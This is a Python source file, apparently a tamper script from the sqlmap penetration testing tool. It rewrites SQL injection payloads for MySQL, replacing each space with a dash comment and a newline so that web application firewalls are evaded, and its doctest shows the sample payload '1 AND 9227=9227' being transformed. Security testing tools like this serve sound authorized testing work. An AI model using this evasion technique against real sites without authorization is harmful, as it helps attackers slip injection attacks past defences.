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48 lines
1.1 KiB
Python
48 lines
1.1 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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from lib.core.common import singleTimeWarnMessage
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from lib.core.compat import xrange
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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def tamper(payload, **kwargs):
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"""
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Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
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Requirement:
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* MySQL
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* MSSQL
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Notes:
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* Useful to bypass several web application firewalls.
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>>> tamper('1 AND 9227=9227')
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'1--%0AAND--%0A9227=9227'
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"""
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retVal = ""
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if payload:
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for i in xrange(len(payload)):
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if payload[i].isspace():
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retVal += "--%0A"
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elif payload[i] == '#' or payload[i:i + 3] == '-- ':
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retVal += payload[i:]
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break
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else:
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retVal += payload[i]
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return retVal
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